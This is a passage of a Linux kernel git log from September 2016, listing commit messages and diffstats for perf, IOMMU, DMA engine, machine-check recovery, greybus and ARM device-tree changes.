Ingo Molnar commit c9bbdd4830ab06288bb1d8c00ed8c8c6e80e377a Author: Will Deacon Date: Mon Aug 15 11:42:45 2016 +0100 perf/core: Don't pass PERF_EF_START to the PMU ->start callback PERF_EF_START is a flag to indicate to the PMU ->add() callback that, as well as claiming the PMU resources required by the event being added, it should also start the PMU. Passing this flag to the ->start() callback doesn't make sense, because ->start() always tries to start the PMU. Remove it. Signed-off-by: Will Deacon Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: mark.rutland@arm.com Link: http://lkml.kernel.org/r/1471257765-29662-1-git-send-email-will.deacon@arm.com Signed-off-by: Ingo Molnar kernel/events/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 24cf84672e0a1e0d13f3894b60cd820a0140342a Author: Stephane Eranian Date: Tue Aug 16 16:09:49 2016 -0400 perf/x86/intel/uncore: Handle non-standard counter offset The offset of the counters for UPI and M2M boxes on Skylake server is non-standard (8 bytes apart). This patch introduces a custom flag UNCORE_BOX_FLAG_CTL_OFFS8 to specially handle it. Signed-off-by: Stephane Eranian Signed-off-by: Kan Liang Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Vince Weaver Link: http://lkml.kernel.org/r/1471378190-17276-2-git-send-email-kan.liang@intel.com Signed-off-by: Ingo Molnar arch/x86/events/intel/uncore.h | 4 ++++ 1 file changed, 4 insertions(+) commit 68ce4a0dea168e99d422aed8f93eca5528fd0e50 Author: Kan Liang Date: Tue Aug 16 16:09:48 2016 -0400 perf/x86/intel/uncore: Remove hard-coded implementation for Node ID mapping location The method to build PCI bus to socket mapping is similar among platforms. However, the PCI location which stores Node ID mapping could vary between different platforms. For example, the Node ID mapping address on Skylake server is different from the previous platform. Also, to build the mapping for the PCI bus without UBOX, it has to start from bus 0 on Skylake server. This patch removes the current hardcoded implementation and adds three parameters for snbep_pci2phy_map_init(). This way the Node ID mapping address and bus searching direction can be configured according to different platforms. Signed-off-by: Kan Liang Signed-off-by: Peter Zijlstra (Intel) Reviewed-by: Nilay Vaish Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Link: http://lkml.kernel.org/r/1471378190-17276-1-git-send-email-kan.liang@intel.com Signed-off-by: Ingo Molnar arch/x86/events/intel/uncore_snbep.c | 37 ++++++++++++++++++++++++------------ 1 file changed, 25 insertions(+), 12 deletions(-) commit 86c7e6836479c4045a9a81ed5ea76c51d719f9c1 Author: Arnd Bergmann Date: Sat Sep 3 01:22:02 2016 +0200 dmaengine: ipu: remove bogus NO_IRQ reference A workaround for a warning introduced a use of the NO_IRQ macro that should have been gone for a long time. It is clear from the code that the value cannot actually be used, but apparently there was a configuration at some point that caused a warning, so instead of just reverting that patch, this rearranges the code in a way that the warning cannot reappear. Signed-off-by: Arnd Bergmann Fixes: 6ef41cf6f721 ("dmaengine :ipu: change ipu_irq_handler() to remove compile warning") Signed-off-by: Vinod Koul drivers/dma/ipu/ipu_irq.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit 524c6e04f826cea8a34a27136d8f5925df9213ed Author: Arnd Bergmann Date: Sat Sep 3 01:17:20 2016 +0200 dmaengine: sirf: fix irq number error check irq_of_parse_and_map() returns 0 on error, no NO_IRQ, so the failure condition can never be met. This changes the comparison to check for zero instead. Signed-off-by: Arnd Bergmann Signed-off-by: Vinod Koul drivers/dma/sirf-dma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 028e84a1de7cba6a3e4cf1a22094b76a4b92cefb Author: Arnd Bergmann Date: Sat Sep 3 01:01:06 2016 +0200 dmaengine: mxs: remove NO_IRQ check The mxs_chan->chan_irq variable is guaranteed to never be NO_IRQ, as it gets assigned the result of platform_get_irq() that returns either a valid positive interrupt number, or a negative failure code that leads to the channel not being used. This removes the redundant check, eliminating one more instance of NO_IRQ. Signed-off-by: Arnd Bergmann Signed-off-by: Vinod Koul drivers/dma/mxs-dma.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 2d9e31b9412cfcb432c1815fef0f72bc0a45542b Author: Arnd Bergmann Date: Fri Sep 2 23:41:10 2016 +0200 dmaengine: moxart: remove NO_IRQ The use of NO_IRQ is incorrect here and should never have been there, as irq_of_parse_and_map() returns '0' on failure, not NO_IRQ. Signed-off-by: Arnd Bergmann Signed-off-by: Vinod Koul drivers/dma/moxart-dma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1c5ebba95b486f1ea0e17d76dd8f6d7f1a8d1e89 Author: Joerg Roedel Date: Thu Aug 25 13:52:51 2016 +0200 iommu/vt-d: Make sure RMRRs are mapped before domain goes public When a domain is allocated through the get_valid_domain_for_dev path, it will be context-mapped before the RMRR regions are mapped in the page-table. This opens a short time window where device-accesses to these regions fail and causing DMAR faults. Fix this by mapping the RMRR regions before the domain is context-mapped. Signed-off-by: Joerg Roedel drivers/iommu/intel-iommu.c | 27 ++++++++++++++++++++------- 1 file changed, 20 insertions(+), 7 deletions(-) commit 76208356a0ab357a1fb9f43bedb7fd1046ad8ece Author: Joerg Roedel Date: Thu Aug 25 14:25:12 2016 +0200 iommu/vt-d: Split up get_domain_for_dev function Split out the search for an already existing domain and the context mapping of the device to the new domain. This allows to map possible RMRR regions into the domain before it is context mapped. Signed-off-by: Joerg Roedel drivers/iommu/intel-iommu.c | 76 ++++++++++++++++++++++++++++++++------------- 1 file changed, 55 insertions(+), 21 deletions(-) commit c65a8b51123a14f6960e4238bfa4673d54ee183a Author: Paul Kocialkowski Date: Sat Sep 3 00:09:53 2016 +0200 power: supply: bq24735-charger: Request status GPIO with initial input setup This requests the status GPIO with initial input setup. It is required to read the GPIO status at probe time and thus correctly avoid sending I2C messages when AC is not plugged. When requesting the GPIO without initial input setup, it always reads 0 which causes probe to fail as it assumes the charger is connected, sends I2C messages and fails. While at it, this switches the driver over to gpiod API. Signed-off-by: Paul Kocialkowski Signed-off-by: Sebastian Reichel drivers/power/supply/bq24735-charger.c | 39 +++++++++++----------------------- include/linux/power/bq24735-charger.h | 4 ---- 2 files changed, 12 insertions(+), 31 deletions(-) commit b1e2afca635bb01f93ecd8112c265b980f1abc08 Author: Shawn Lin Date: Wed Aug 24 10:23:51 2016 +0800 iommu/ipmmu-vmsa: Fix wrong error handle of ipmmu_add_device Let's fix the error handle of ipmmu_add_device when failing to find utlbs, otherwise we take a risk of pontential memleak. Signed-off-by: Shawn Lin Signed-off-by: Joerg Roedel drivers/iommu/ipmmu-vmsa.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 368d06cd536ecace3a904ae2e6e42771636d52aa Merge: 395adae d98de49 Author: Joerg Roedel Date: Mon Sep 5 12:43:16 2016 +0200 Merge branch 'x86/amd-avic' into x86/amd commit 395adae45095e55ee90e688e9021d79dd6ffaefe Author: Fabian Frederick Date: Mon Aug 22 21:11:31 2016 +0200 iommu/amd: Remove AMD_IOMMU_STATS Commit e85e8f69cedb ("iommu/amd: Remove statistics code") removed that configuration. Also remove function definition (suggested by Joerg Roedel) Signed-off-by: Fabian Frederick Signed-off-by: Joerg Roedel arch/x86/configs/x86_64_defconfig | 1 - drivers/iommu/amd_iommu_proto.h | 6 ------ 2 files changed, 7 deletions(-) commit d98de49a53e48f51332e97568127e722415e1232 Author: Suravee Suthikulpanit Date: Tue Aug 23 13:52:40 2016 -0500 iommu/amd: Enable vAPIC interrupt remapping mode by default Introduce struct iommu_dev_data.use_vapic flag, which IOMMU driver uses to determine if it should enable vAPIC support, by setting the ga_mode bit in the device's interrupt remapping table entry. Currently, it is enabled for all pass-through device if vAPIC mode is enabled. Signed-off-by: Suravee Suthikulpanit Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu.c | 44 +++++++++++++++++++++++++++++++++-------- drivers/iommu/amd_iommu_init.c | 12 ++++++++++- drivers/iommu/amd_iommu_types.h | 2 +- 3 files changed, 48 insertions(+), 10 deletions(-) commit b9fc6b56f478b487dc8fc400da73d89ac9137201 Author: Suravee Suthikulpanit Date: Tue Aug 23 13:52:39 2016 -0500 iommu/amd: Implements irq_set_vcpu_affinity() hook to setup vapic mode for pass-through devices This patch implements irq_set_vcpu_affinity() function to set up interrupt remapping table entry with vapic mode for pass-through devices. In case requirements for vapic mode are not met, it falls back to set up the IRTE in legacy mode. Signed-off-by: Suravee Suthikulpanit Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu.c | 68 ++++++++++++++++++++++++++++++++++++++--- drivers/iommu/amd_iommu_types.h | 1 + include/linux/amd-iommu.h | 14 +++++++++ 3 files changed, 79 insertions(+), 4 deletions(-) commit 8dbea3fd7becd4af8ca882c3132be4b1a857e301 Author: Suravee Suthikulpanit Date: Tue Aug 23 13:52:38 2016 -0500 iommu/amd: Introduce amd_iommu_update_ga() Introduces a new IOMMU API, amd_iommu_update_ga(), which allows KVM (SVM) to update existing posted interrupt IOMMU IRTE when load/unload vcpu. Signed-off-by: Suravee Suthikulpanit Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu.c | 39 +++++++++++++++++++++++++++++++++++++++ drivers/iommu/amd_iommu_types.h | 1 + include/linux/amd-iommu.h | 9 +++++++++ 3 files changed, 49 insertions(+) commit bd6fcefc66f6d038406e38edf96a95d9842f819d Author: Suravee Suthikulpanit Date: Tue Aug 23 13:52:37 2016 -0500 iommu/amd: Adding GALOG interrupt handler This patch adds AMD IOMMU guest virtual APIC log (GALOG) handler. When IOMMU hardware receives an interrupt targeting a blocking vcpu, it creates an entry in the GALOG, and generates an interrupt to notify the AMD IOMMU driver. At this point, the driver processes the log entry, and notify the SVM driver via the registered iommu_ga_log_notifier function. Signed-off-by: Suravee Suthikulpanit Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu.c | 73 +++++++++++++++++++++++++++++++++++++++++++++-- include/linux/amd-iommu.h | 20 +++++++++++-- 2 files changed, 87 insertions(+), 6 deletions(-) commit 8bda0cfbdc1a6278a1bbdba795139da682f296ff Author: Suravee Suthikulpanit Date: Tue Aug 23 13:52:36 2016 -0500 iommu/amd: Detect and initialize guest vAPIC log This patch adds support to detect and initialize IOMMU Guest vAPIC log (GALOG). By default, it also enable GALog interrupt to notify IOMMU driver when GA Log entry is created. Signed-off-by: Suravee Suthikulpanit Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu_init.c | 112 +++++++++++++++++++++++++++++++++++++--- drivers/iommu/amd_iommu_types.h | 28 ++++++++++ 2 files changed, 133 insertions(+), 7 deletions(-) commit 77bdab46f04ffd93140c574f4fbd48ab521fdbe0 Author: Suravee Suthikulpanit Date: Tue Aug 23 13:52:35 2016 -0500 iommu/amd: Add support for multiple IRTE formats This patch enables support for the new 128-bit IOMMU IRTE format, which can be used for both legacy and vapic interrupt remapping modes. It replaces the existing operations on IRTE, which can only support the older 32-bit IRTE format, with calls to the new struct amd_irt_ops. It also provides helper functions for setting up, accessing, and updating interrupt remapping table entries in different mode. Signed-off-by: Suravee Suthikulpanit Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu.c | 72 +++++++++++++++++++++++++++-------------- drivers/iommu/amd_iommu_init.c | 2 ++ drivers/iommu/amd_iommu_types.h | 1 - 3 files changed, 50 insertions(+), 25 deletions(-) commit 880ac60e2538337f84d9f76ab7b3c13ee7787804 Author: Suravee Suthikulpanit Date: Tue Aug 23 13:52:34 2016 -0500 iommu/amd: Introduce interrupt remapping ops structure Currently, IOMMU support two interrupt remapping table entry formats, 32-bit (legacy) and 128-bit (GA). The spec also implies that it might support additional modes/formats in the future. So, this patch introduces the new struct amd_irte_ops, which allows the same code to work with different irte formats by providing hooks for various operations on an interrupt remapping table entry. Suggested-by: Joerg Roedel Signed-off-by: Suravee Suthikulpanit Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu.c | 190 ++++++++++++++++++++++++++++++++++++++-- drivers/iommu/amd_iommu_types.h | 20 +++++ 2 files changed, 205 insertions(+), 5 deletions(-) commit a38180bd366f9912a08f52dd6f9a843bf0107d5f Author: Suravee Suthikulpanit Date: Tue Aug 23 13:52:33 2016 -0500 iommu/amd: Move and introduce new IRTE-related unions and structures Move existing unions and structs for accessing/managing IRTE to a proper header file. This is mainly to simplify variable declarations in subsequent patches. Besides, this patch also introduces new struct irte_ga for the new 128-bit IRTE format. Signed-off-by: Suravee Suthikulpanit Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu.c | 28 --------------- drivers/iommu/amd_iommu_types.h | 76 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 76 insertions(+), 28 deletions(-) commit 3928aa3f5775fc4e40117077e97d73d8526039c9 Author: Suravee Suthikulpanit Date: Tue Aug 23 13:52:32 2016 -0500 iommu/amd: Detect and enable guest vAPIC support This patch introduces a new IOMMU driver parameter, amd_iommu_guest_ir, which can be used to specify different interrupt remapping mode for passthrough devices to VM guest: * legacy: Legacy interrupt remapping (w/ 32-bit IRTE) * vapic : Guest vAPIC interrupt remapping (w/ GA mode 128-bit IRTE) Note that in vapic mode, it can also supports legacy interrupt remapping for non-passthrough devices with the 128-bit IRTE. Signed-off-by: Suravee Suthikulpanit Signed-off-by: Joerg Roedel Documentation/kernel-parameters.txt | 9 +++++ drivers/iommu/amd_iommu_init.c | 71 +++++++++++++++++++++++++++++++++---- drivers/iommu/amd_iommu_proto.h | 1 + drivers/iommu/amd_iommu_types.h | 24 +++++++++++++ 4 files changed, 99 insertions(+), 6 deletions(-) commit 2cc538412a1ca103923ec400a339a5b3833e0280 Merge: 36e674a 5876314 Author: Ingo Molnar Date: Mon Sep 5 12:09:59 2016 +0200 Merge branch 'perf/urgent' into perf/core, to pick up fixed and resolve conflicts Conflicts: kernel/events/core.c Signed-off-by: Ingo Molnar commit ffb173e657fa8123bffa2a169e124b4bca0b5bc4 Author: Tony Luck Date: Thu Sep 1 11:39:33 2016 -0700 x86/mce: Drop X86_FEATURE_MCE_RECOVERY and the related model string test We now have a better way to determine if we are running on a cpu that supports machine check recovery. Free up this feature bit. Signed-off-by: Tony Luck Acked-by: Borislav Petkov Cc: Peter Zijlstra Cc: Dan Williams Cc: Boris Petkov Cc: Linus Torvalds Link: http://lkml.kernel.org/r/d5db39e08d46cf1012d94d3902275d08ba931926.1472754712.git.tony.luck@intel.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/cpufeatures.h | 1 - arch/x86/kernel/cpu/mcheck/mce.c | 11 ----------- 2 files changed, 12 deletions(-) commit 9a6fb28a355d2609ace4dab4e6425442c647894d Author: Tony Luck Date: Thu Sep 1 11:39:33 2016 -0700 x86/mce: Improve memcpy_mcsafe() Use the mcsafe_key defined in the previous patch to make decisions on which copy function to use. We can't use the FEATURE bit any more because PCI quirks run too late to affect the patching of code. So we use a static key. Turn memcpy_mcsafe() into an inline function to make life easier for callers. The assembly code that actually does the copy is now named memcpy_mcsafe_unrolled() Signed-off-by: Tony Luck Acked-by: Borislav Petkov Cc: Peter Zijlstra Cc: Dan Williams Cc: Boris Petkov Cc: Linus Torvalds Link: http://lkml.kernel.org/r/bfde2fc774e94f53d91b70a4321c85a0d33e7118.1472754712.git.tony.luck@intel.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/pmem.h | 5 +---- arch/x86/include/asm/string_64.h | 16 +++++++++++++++- arch/x86/kernel/x8664_ksyms_64.c | 2 +- arch/x86/lib/memcpy_64.S | 6 +++--- 4 files changed, 20 insertions(+), 9 deletions(-) commit 3637efb00864f465baebd49464e58319fd295b65 Author: Tony Luck Date: Thu Sep 1 11:39:33 2016 -0700 x86/mce: Add PCI quirks to identify Xeons with machine check recovery Each Xeon includes a number of capability registers in PCI space that describe some features not enumerated by CPUID. Use these to determine that we are running on a model that can recover from machine checks. Hooks for Ivybridge ... Skylake provided. Signed-off-by: Tony Luck Acked-by: Borislav Petkov Cc: Peter Zijlstra Cc: Dan Williams Cc: Boris Petkov Cc: Linus Torvalds Link: http://lkml.kernel.org/r/abf331dc4a3e2a2d17444129bc51127437bcf4ba.1472754711.git.tony.luck@intel.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/string_64.h | 3 +++ arch/x86/kernel/cpu/mcheck/mce.c | 8 ++++++++ arch/x86/kernel/quirks.c | 31 +++++++++++++++++++++++++++++++ 3 files changed, 42 insertions(+) commit b8fb03785d4de097507d0cf45873525e0ac4d2b2 Author: Tony Luck Date: Thu Sep 1 11:39:33 2016 -0700 locking/static_keys: Provide DECLARE and well as DEFINE macros We will need to provide declarations of static keys in header files. Provide DECLARE_STATIC_KEY_{TRUE,FALSE} macros. Signed-off-by: Tony Luck Acked-by: Borislav Petkov Cc: Peter Zijlstra Cc: Dan Williams Cc: Linus Torvalds Link: http://lkml.kernel.org/r/816881cf85bd3cf13385d212882618f38a3b5d33.1472754711.git.tony.luck@intel.com Signed-off-by: Thomas Gleixner include/linux/jump_label.h | 6 ++++++ 1 file changed, 6 insertions(+) commit dc00247576fdb97211e1959b4dfd2a7893cf9d0b Author: Ard Biesheuvel Date: Mon Sep 5 10:23:17 2016 +0100 arm64: kernel: re-export _cpu_resume() from sleep.S Commit b5fe242972ef ("arm64: kernel: fix style issues in sleep.S") changed the linkage of _cpu_resume() to local, even though the symbol is also referenced from hibernate.c. So revert this change. Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/kernel/sleep.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f928c16dbfaff447c637d8c22c29a642be0044f1 Author: James Morse Date: Mon Sep 5 09:43:04 2016 +0100 arm64: Drop generic xlate_dev_mem_{k,}ptr() The code that provides /dev/mem uses xlate_dev_mem_{k,}ptr() to avoid making a cachable mapping of a non-cachable area on ia64. On arm64 we do this via phys_mem_access_prot() instead, but provide dummy versions of xlate_dev_mem_{k,}ptr(). These are the same as those in asm-generic/io.h, which we include from asm/io.h Signed-off-by: James Morse Signed-off-by: Will Deacon arch/arm64/include/asm/io.h | 11 ----------- 1 file changed, 11 deletions(-) commit 4314f4b6720d96b0504da30112b6d42d13c3e50f Author: Andy Yan Date: Sun Sep 4 16:34:27 2016 +0800 ARM: dts: rockchip: Add sensor-supplies on PopMetal-RK3288 board Add power supply reference for L3G3200D and the 3-axis Electronic Compass AK8963. Signed-off-by: Andy Yan Signed-off-by: Heiko Stuebner arch/arm/boot/dts/rk3288-popmetal.dts | 4 ++++ 1 file changed, 4 insertions(+) commit 9369554d73c79396772c5e20dd19c75249a4ecbe Author: Andy Yan Date: Sun Sep 4 16:34:27 2016 +0800 ARM: dts: rockchip: fix L3G4200D i2c address on PopMetal-RK3288 board The i2c address of the three-axis digital gyroscope L3G4200D should be 0x69 according to hardware design. Signed-off-by: Andy Yan Signed-off-by: Heiko Stuebner arch/arm/boot/dts/rk3288-popmetal.dts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 88f6ba61f25bfe6eb92cb8f511b0879cdfbb64d3 Author: Viresh Kumar Date: Wed Aug 3 15:52:10 2016 -0700 greybus: gpio: create irqdomain before registering gpio controller If a gpio line is getting used for an irq, gpio core will create /proc/irq/X/gpiolib/ directory for it. This directory gets removed while the gpio controller is unregistered. In case of greybus, gb_gpio_irqchip_add() creates an irqdomain and creates irq mappings for the gpio lines. Currently they are added after registering the gpio controller and removed before the gpio controller is removed. On the removal path, while the core tries to remove the irq directory (/proc/irq/X), it finds that the irq is still getting used and a "gpiolib" directory is present within it and so it gives this warning: Steps to reproduce: $ cd /sys/class/gpio $ echo X > export $ echo both > gpioX/edge $ echo > /sys/bus/greybus/devices/1-svc/intf_eject [ 139.171436] ------------[ cut here ]------------ [ 139.171468] WARNING: at /home/vireshk/all/work/repos/ara/arche/kernel/arche/fs/proc/generic.c:552 remove_proc_entry+0x154/0x188() [ 139.171476] remove_proc_entry: removing non-empty directory 'irq/683', leaking at least 'gpiolib' [ 139.171589] Modules linked in: gb_vibrator(O) gb_usb(O) gb_uart(O) gb_spi(O) gb_sdio(O) gb_raw(O) gb_pwm(O) gb_power_supply(O) gb_loopback(O) gb_log(O) gb_light(O) gb_i2c(O) gb_hid(O) gb_gpio(O) gb_gbphy(O) gb_firmware(O) gb_spilib(O) gb_es2(O) gb_camera(O) gb_bootrom(O) gb_audio_module(O) gb_audio_manager(O) gb_audio_codec(O) gb_audio_gb(O) gb_audio_apbridgea(O) gb_arche(O) greybus(O) [ 139.171605] CPU: 1 PID: 280 Comm: kworker/u16:4 Tainted: G W O 3.10.83-g9771b10cbeed #107 [ 139.171652] Workqueue: greybus1:svc gb_svc_intf_set_power_mode [greybus] [ 139.171657] Call trace: [ 139.171677] [] dump_backtrace+0x0/0x268 [ 139.171689] [] show_stack+0x10/0x1c [ 139.171707] [] dump_stack+0x1c/0x28 [ 139.171723] [] warn_slowpath_common+0x74/0x9c [ 139.171735] [] warn_slowpath_fmt+0x5c/0x80 [ 139.171747] [] remove_proc_entry+0x150/0x188 [ 139.171763] [] unregister_irq_proc+0xb4/0xdc [ 139.171779] [] free_desc+0x2c/0x70 [ 139.171791] [] irq_free_descs+0x54/0x9c [ 139.171802] [] irq_dispose_mapping+0x54/0x64 [ 139.171814] [] 0xffffffbffc0621e8 [ 139.171825] [] 0xffffffbffc05e01c [ 139.171843] [] __device_release_driver+0x90/0xe4 [ 139.171854] [] device_release_driver+0x20/0x38 [ 139.171867] [] bus_remove_device+0x12c/0x148 [ 139.171878] [] device_del+0x108/0x16c [ 139.171888] [] device_unregister+0x50/0x68 [ 139.171901] [] gb_gbphy_deregister_driver+0xf0/0x4ec [gb_gbphy] [ 139.171924] [] greybus_disabled+0x14c4/0x1760 [greybus] [ 139.171936] [] __device_release_driver+0x90/0xe4 [ 139.171948] [] device_release_driver+0x20/0x38 [ 139.171959] [] bus_remove_device+0x12c/0x148 [ 139.171969] [] device_del+0x108/0x16c [ 139.171992] [] gb_bundle_destroy+0x7c/0x1b0 [greybus] [ 139.172017] [] gb_interface_disable+0xb4/0x178 [greybus] [ 139.172040] [] gb_module_del+0x5c/0xf8 [greybus] [ 139.172063] [] gb_svc_intf_set_power_mode+0xea0/0xfe8 [greybus] [ 139.172078] [] process_one_work+0x268/0x3c8 [ 139.172089] [] worker_thread+0x204/0x358 [ 139.172108] [] kthread+0xb8/0xc4 [ 139.172114] ---[ end trace 6fa3314e8c6157ca ]--- Also note that registering the gpio controller before creating irqdomain is incorrect as well and may lead to kernel panic, as a gpio may get requested as an interrupt source right after the controller is registered, and the greybus gpio driver wouldn't be fully ready by then. This patch changes the sequence in both probe() and remove() to fix it. Fixes: 426e88a47d39 ("greybus: gpio: add interrupt handling support") Reported-by: David Hsu Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit 9c2edd8b5bcb36ec6c890dd85f8fd13034aaa43e Merge: aa652b1 c693593 Author: Greg Kroah-Hartman Date: Mon Sep 5 08:13:24 2016 +0200 Merge 4.8-rc5 into staging-next We want the staging fixes in here as well to handle merge issues. Signed-off-by: Greg Kroah-Hartman commit b53761e36a509609e91a797fa63648ec43aecc13 Merge: d2f5a73 c693593 Author: Greg Kroah-Hartman Date: Mon Sep 5 08:11:21 2016 +0200 Merge 4.8-rc5 into tty-next We want the fixes in here for merge issues. Signed-off-by: Greg Kroah-Hartman commit 2f5bb02ff22414ce156cacb163dd594b017af357 Merge: 2c507e4 c693593 Author: Greg Kroah-Hartman Date: Mon Sep 5 08:09:04 2016 +0200 Merge 4.8-rc5 into driver-core-next We want the sysfs and kernfs in here as well. Signed-off-by: Greg Kroah-Hartman commit 9b0dd49e3565ddc71346ba7d57079ee6233d0780 Merge: 3112fdd c693593 Author: Greg Kroah-Hartman Date: Mon Sep 5 08:07:58 2016 +0200 Merge 4.8-rc5 into usb-testing We want the USB fixes in here for testing and merge issues. Signed-off-by: Greg Kroah-Hartman commit fbc1ec2efe665c07c8c71f9f19edb018f7984107 Merge: 02baff3 c693593 Author: Greg Kroah-Hartman Date: Mon Sep 5 08:04:07 2016 +0200 Merge 4.8-rc5 into char-misc-next We want the fixes in here for merging and testing. Signed-off-by: Greg Kroah-Hartman commit 45c0ce847a99ca053d432ea98e4ff55d88357d7e Author: Paul Kocialkowski Date: Tue Mar 29 20:55:45 2016 +0200 pwm: twl: Reliably disable TWL6030 PWMs The current TWL6030 code for the TWL PWM driver does not reliably disable the PWM output, as tested with LEDs. The previous commit to that driver introduced that regression. However, it does make sense to disable the PWM clock after resetting the PWM, but for some obscure reason, doing it all at once simply doesn't work. The TWL6030 datasheet mentions that PWMs have to be disabled in two distinct steps. However, clearing the clock enable bit in a second step (after issuing a reset first) does not work. The only approach that works is the one that was in place before the previous commit to the driver. It consists in enabling the PWM clock after issuing a reset. This is what TI kernel trees and production code seem to be using. However, adding an extra step to disable the PWM clock seems to work reliably, despite looking quite odd. Signed-off-by: Paul Kocialkowski Acked-by: Peter Ujfalusi Signed-off-by: Thierry Reding drivers/pwm/pwm-twl.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 3481bdce6516a1872f3ac0af43ba56d0e1ee3afa Author: Martin Kaiser Date: Fri Sep 2 10:34:40 2016 +0200 ARM: imx: (trivial) fix typo and grammar Signed-off-by: Martin Kaiser Reviewed-by: Joshua Clayton Signed-off-by: Shawn Guo arch/arm/mach-imx/hardware.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9fa7a2a4f9d90901e845fb4cafe815d08c2981c5 Author: Vanessa Maegima Date: Tue Aug 30 17:23:04 2016 -0300 ARM: dts: imx7s-warp: Add Bluetooth support WaRP7 has a BCM43430 Bluetooth chip. Add support for it. Signed-off-by: Vanessa Maegima Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7s-warp.dts | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) commit d142a20700ca73430bcacfa6f8df3331142049d9 Author: Vanessa Maegima Date: Tue Aug 30 17:23:03 2016 -0300 ARM: dts: imx7s-warp: Add User Button support Add User Button at GPIO7_1. Tested by evtest. Signed-off-by: Vanessa Maegima Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7s-warp.dts | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit c2bf95899a36eff42f843e342533226a6202db0c Author: Vanessa Maegima Date: Tue Aug 30 17:23:02 2016 -0300 ARM: dts: imx7s-warp: Enable I2C2 device support Enable I2C2 device support. Signed-off-by: Vanessa Maegima Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7s-warp.dts | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit a58e4e608bc88735581fdd9861676e522fa3c20d Author: Michael Trimarchi Date: Tue Aug 30 18:46:21 2016 +0530 ARM: dts: imx6ul-geam: Add Engicam IMX6UL GEA M6UL initial support IMX6UL GEA M6UL modules are system on module solutions manufactured by Engicam with following characteristics: Processor Freescale i.MX 6UltraLite MCIMX6G2, 528 MHz RAM 128MB, 16-bit DDR3 NAND SLC 256MB Power supply Single 5V MAX LCD RES up to WXGA, 1366x768 and more info at http://www.engicam.com/prodotti/embedded/som/sodimm/gea-m6ul Cc: Sascha Hauer Cc: Fabio Estevam Signed-off-by: Matteo Lisi Signed-off-by: Michael Trimarchi Signed-off-by: Jagan Teki Signed-off-by: Shawn Guo arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/imx6ul-geam-kit.dts | 101 ++++++++++ arch/arm/boot/dts/imx6ul-geam.dtsi | 361 ++++++++++++++++++++++++++++++++++ 3 files changed, 463 insertions(+) commit 5eb3fcf341f673de111fd88b867b411ff31c63ea Author: Andy Yan Date: Sun Sep 4 16:33:10 2016 +0800 ARM: dts: rockchip: enable usbotg for Popemtal-rk3288 board Enable USB OTG port on RK3288 Popmetal board, So we can run some usb gadget functions like Android adb on this board. Signed-off-by: Andy Yan Signed-off-by: Heiko Stuebner arch/arm/boot/dts/rk3288-popmetal.dts | 4 ++++ 1 file changed, 4 insertions(+) commit 4a3a3d32c77f942a10c0319f589186a768821397 Author: Caesar Wang Date: Sat Sep 3 04:39:06 2016 +0800 arm64: dts: rockchip: add the tcpc for rk3399 power domain The tcpc is the Type C Port Controller and Type C Port Delivery (tcpd) is part of it, we haven't used them now, add it to save power consumption. Signed-off-by: Caesar Wang Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 7b0f9e357ac838f640b10fb3db1ac35d9a5fa8de Author: Yakir Yang Date: Thu Sep 1 20:26:25 2016 -0700 clk: rockchip: use the dclk_vop_frac clock ids on rk3399 Export the dclk_vop_frac out, so we can set the dclk_vop as the child of dclk_vop_frac, and then we can start to take use of the fractional dividers. Signed-off-by: Yakir Yang Signed-off-by: Chris Zhong Signed-off-by: Heiko Stuebner drivers/clk/rockchip/clk-rk3399.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 29edeccb4445123a0457a308d3ff67ddd0e34f97 Author: Douglas Anderson Date: Thu Sep 1 20:26:23 2016 -0700 clk: rockchip: drop CLK_SET_RATE_PARENT from rk3399 fractional dividers Currently the fractional divider clock time can't handle the CLK_SET_RATE_PARENT flag. This is because, unlike normal dividers, there is no clk_divider_bestdiv() function to try speeding up the parent to see if it helps things. Eventually someone could try to figure out how to make fractional dividers able to use 